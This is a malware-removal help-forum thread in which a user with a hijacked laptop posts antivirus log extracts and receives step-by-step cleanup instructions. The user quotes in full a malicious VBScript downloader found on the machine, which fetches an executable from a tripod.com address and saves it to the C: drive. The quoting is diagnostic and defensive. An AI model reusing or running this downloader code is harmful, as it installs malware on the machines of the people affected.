HijackThis log

Nightmare weekend! Within 24 hours, both my (home) desktop and laptop computers fell victim to hijackers. Seem like different infections, too. Spent all day yesterday cleaning my desktop, but despite my best efforts to clean the laptop, it's still ill, so I need help.

Very brief history of my attempts to cure my system.

When my laptop started playing up I found two new files in the C: root directory: the first, sp.bat, launched the other file, win2k3.exe

I found info on their origin in a vbs file (dl.vbs), which I think I found in the System32 directory. Text of dl.vbs:

Dim D, H, T:Set H=CreateObject("Microsoft.XMLHTTP")
H.Open "GET","http://answer28.tripod.com/ans.exe",0:H.Send=H.ResponseBody
Set T=CreateObject("ADODB.Stream"):T.Type=1:T.Open:T.Write D
T.SaveToFile "c:\win2k3.exe",2

So that ans.exe seems to be the root of my problem.

I used both avast (which did some cleaning, but I don't have a log) and Trend Micro Damage Cleanup Engine - brief extract from log:

Load Damage Cleanup Template (DCT) "C:\Documents and Settings\John\Desktop\downloads\Trend Micro system cleaner\tsc.ptn" (version 355) [success]
WORM_DONK[virus found]
-->delete registry data("HKEY_LOCAL_MACHINE","Software\Microsoft\Windows\CurrentVersion\Run","wnetlogin.exe") success
-->delete registry data("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices","wnetlogin.exe") success
-->delete registry data("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\CurrentVersion\Run","syslog32.exe") success
-->delete file("C:\WINDOWS\System32\cool.exe","","") success
C:\WINDOWS\SYSTEM32\cmd.ftp [BAT_SASSER.A]
C:\WINDOWS\SYSTEM32\wnetlogin.OLD [WORM_DONK.C]

end of extract

wnetlogin has suffix "OLD" because I had already identified it as a problem file and changed the suffix.

I manually deleted sp.bat, win2k3.exe and dl.vbs

Despite a clean bill of health from both AV programs, the laptop is still obviously infected: an attempt at web access lead to very slow downlaods, and there seemed to be attempts at outgoing connections unconnected with the addresses I am visiting (blocked by firewall - at least I hope so). Printing (network) appears disabled. Every time I reboot the hijacker is also installing the usual localhost entries in my Hosts file for all the various anti-virus software update engines.

I used S&D as instructed. Log file:

S&D also made my Hosts file read-only. S&D fixed the problems, but if I reboot, the five DSO exploits return.

Then while in safe mode delete the following:

C:\WINDOWS\system32\drivers\etc\winupd <-Folder
Search for file lsac.exe and delete it. It does not appear to be running.

Then browse to the C:\documents and settings\John\local settings\temp folder and delete all files and folders in it.
Then browse to the C:\Windows\Temp folder and delete all files in it.
Then in internet explore click tools>internet Options>General. Click on Delete Files make sure you get all offline content as well.

Then empty the recycle bin.

Then reboot to normal mode.

Then,

Download ad-aware here -> http://fileforum.betanews.com/detail.php3?fid=965718306

Before you scan with AdAware, check for updates of the reference file by using the "webupdate".

Then ........

From main window :Click "Start" then " Activate in-depth scan"

then......

click "Use custom scanning options>Customize" and have these options on: "Scan within archives" ,"Scan active processes","Scan registry", "Deep scan registry" ,"Scan my IE Favorites for banned URL" and "Scan my host-files"

then.........

Click the "Tweak" button.

Open up the "Scanning Engine" section and tick "Unload recognized processes during scanning"

Then........"Cleaning engine" and "Let windows remove files in use at next reboot" and "Automatically try to unregister objects prior to deletion"

then...... click "proceed" to save your settings.

Now to scan it´s just to click the "Next" button.

When scan is finished, mark everything for removal and get rid of it. .(Right-click the window and choose"select all" from the drop down menu) then press next and then say yes to the prompt, do you want to remove all these entries.

Then Disable system restore: Instructions here.

Reboot

Enable system restore.

Scan and post another hijackthis log.

 

Yellowhammer,

Many thanks for your detailed help. I followed your instructions. Only hiccup: I could not find any file named Isac.exe, either using the system search or my manual search.

JohnK,

It looks clean now.

 

That's great news. Thanks again.
